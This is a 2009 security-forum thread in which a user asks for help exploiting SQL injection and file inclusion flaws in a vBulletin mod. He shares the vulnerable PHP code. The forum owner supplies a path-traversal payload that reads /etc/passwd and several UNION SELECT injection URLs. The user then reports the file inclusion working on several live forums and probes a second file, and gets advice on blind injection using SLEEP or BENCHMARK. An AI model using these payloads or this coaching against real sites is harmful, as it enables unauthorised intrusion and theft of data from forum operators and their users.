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www.waraxe.us Forum Index -> Sql injection -> Help with Mysql Injection - Bugged script
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Help with Mysql Injection - Bugged script
PostPosted: Sun Jan 11, 2009 4:22 pm Reply with quote
delta
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Joined: Jan 11, 2009
Posts: 60




I found this bug in one component and i think that can be exploited, but need some help...

I will give some details...


Quote:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [path]/file.php on line 204

Warning: include(folder/forms/.php) [function.include]: failed to open stream: No such file or directory in [path]/file.php on line 300

Warning: include() [function.include]: Failed opening 'folder/forms/.php' for inclusion (include_path='.:/usr/lib/php') in [path]/file.php on line 300


Some piece of code of file.php:

Code:
if($form){
$the_target = $form;
$the_target = explode(",",$the_target);
$forum = $the_target[0];
$formulario = $the_target[1];
$links = $the_target[2];
$sqlSecure="select id from ".TABLE_PREFIX."up_grupos where forumid = '".$forum."'".( ($membroNormal)?" and `permissoes`='livre'":"" );
$qrySecure = mysql_query($sqlSecure);
$forum_permitido=(mysql_num_rows($qrySecure))?true:false;



Line 204:
Code:
$forum_permitido=(mysql_num_rows($qrySecure))?true:false;



Query of table up_grupos:

Code:

CREATE TABLE `". TABLE_PREFIX ."up_grupos` (
`id` int(11) NOT NULL auto_increment,
`idGrupo` int(11) default NULL,
`descricao` varchar(150) default NULL,
`tipo` varchar(4) NOT NULL default 'http',
`conteudo` varchar(20) NOT NULL default 'filme',
`nivel` decimal(2,0) NOT NULL default '0',
`forumid` int(11) default NULL,
`permissoes` varchar(5) NOT NULL default 'staff',
PRIMARY KEY (`id`)
) ENGINE=MyISAM ;
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PostPosted: Tue Jan 13, 2009 3:30 am Reply with quote
delta
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Joined: Jan 11, 2009
Posts: 60




So... no one? Sad =/
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PostPosted: Wed Jan 14, 2009 12:52 pm Reply with quote
Rastlin
Regular user
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Joined: Jan 03, 2009
Posts: 21




delta wrote:
So... no one? Sad =/


There is insuficient data .... I mighty try to guess that somehow your giving a wrong path somewhere ....
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PostPosted: Wed Jan 14, 2009 1:40 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




More info needed - input parameters. There can be blind sql injection or maybe even LFI or RFI, but without additional info we can't help you.
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PostPosted: Wed Jan 14, 2009 3:23 pm Reply with quote
delta
Advanced user
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Joined: Jan 11, 2009
Posts: 60




I don't think it's RFI or LFI.

It's a vbulletin MOD.

This send information to the database. Ex.:

http://site.com/forum/file.php?form=9,blabla,http

It uses explodes as you can see in the code:

Code:
$the_target = explode(",",$the_target);


and send to these vars...

Code:
$forum = $the_target[0];
$formulario = $the_target[1];
$links = $the_target[2];


and then comes the query:

Code:
$sqlSecure="select id from ".TABLE_PREFIX."up_grupos where forumid = '".$forum."'".( ($membroNormal)?" and `permissoes`='livre'":"" );
$qrySecure = mysql_query($sqlSecure)


So, teorically i should do that:

http://site.com/forum/file.php?form=SQL INJECTION CODE,blabla,http


Sry for my poor english and thanks in advance for the help.


Edited:

Now i tried http://site.com/forum/file.php?form=9',blabla,http as i said before and got only this:

Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [path]/file.php on line 204
[/i]

No other errors Razz

And i forgot to thell that he gets the $formulario and do this in other line of the code:

Code:
include "folder/forms/".$formulario.".php";


That's the reason i' was getting the 2 include errors...


Sooo...

That helps now?
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PostPosted: Wed Jan 14, 2009 4:15 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This can be LFI, try this:

Code:

http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http


For sql injection try:

Code:

http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http


Code:

http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http


This is probably blind sql injection though. Can you post that MOD-s name? I can look @ src code and look for possible exploits Smile
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PostPosted: Wed Jan 14, 2009 5:12 pm Reply with quote
delta
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Joined: Jan 11, 2009
Posts: 60




waraxe wrote:
This can be LFI, try this:

Code:

http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http


For sql injection try:

Code:

http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http


Code:

http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http


This is probably blind sql injection though. Can you post that MOD-s name? I can look @ src code and look for possible exploits Smile


The LFI works fine(in some forums i get 403 or 406) xD

I tried the sql injection
Code:
http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http


and no erros displayed.
The problem now is how i can exploit the injection since can't use "," because of the explode :S

The mod have 1 more sql injection bugged file that i found, can't give you the mod name now, but later maybe Wink

Thanks a lot for your help Wink
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PostPosted: Wed Jan 14, 2009 7:16 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, this can be tricky without ","-s. But you could probably use regular expressions (regexes) instead of ORD(SUBSTR(hash,2,1)) and CASE/WHERE/ELSE instead of IF(1,2,3). I'm not 100% sure about that, it needs testing Smile
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PostPosted: Wed Jan 14, 2009 7:27 pm Reply with quote
delta
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Joined: Jan 11, 2009
Posts: 60




This will be very complicated T___T

I think that's better to try the other file...

Do you mind taking a look in the other file to see what can be done?

If ok i will send to you via PM.
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PostPosted: Wed Jan 14, 2009 8:59 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I'm too busy right now - new advisory is coming out very soon and i'm preparing it right now Smile
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PostPosted: Wed Jan 14, 2009 9:11 pm Reply with quote
delta
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Joined: Jan 11, 2009
Posts: 60




Ok, no problem ^^

In the other file i'm getting some erros:

http://site.com/file.php?do=lol&action=form&id_topic=6727'

Quote:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 237

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 244

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 266

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 288

Warning: include(forms/.php) [function.include]: failed to open stream: No such file or directory in [path]/folder/editar.php on line 436

Warning: include() [function.include]: Failed opening 'forms/.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in [path]/folder/editar.php on line 436



When i do:

http://site.com/file.php?do=lol&action=form&id_topic=-1'+UNION+SELECT+1,2,3,4--+

this error disappear(same if i change the column number, others erros will disappear and some remain because the column number of tables is different):

Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 244


but not any number of column displays in the page, what can i do next?
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PostPosted: Wed Jan 14, 2009 9:54 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




As usual - if you can't get direct visual feedback from target, then try blind injection. Look for response differences or as last resort use BENCHMARK() or SLEEP().
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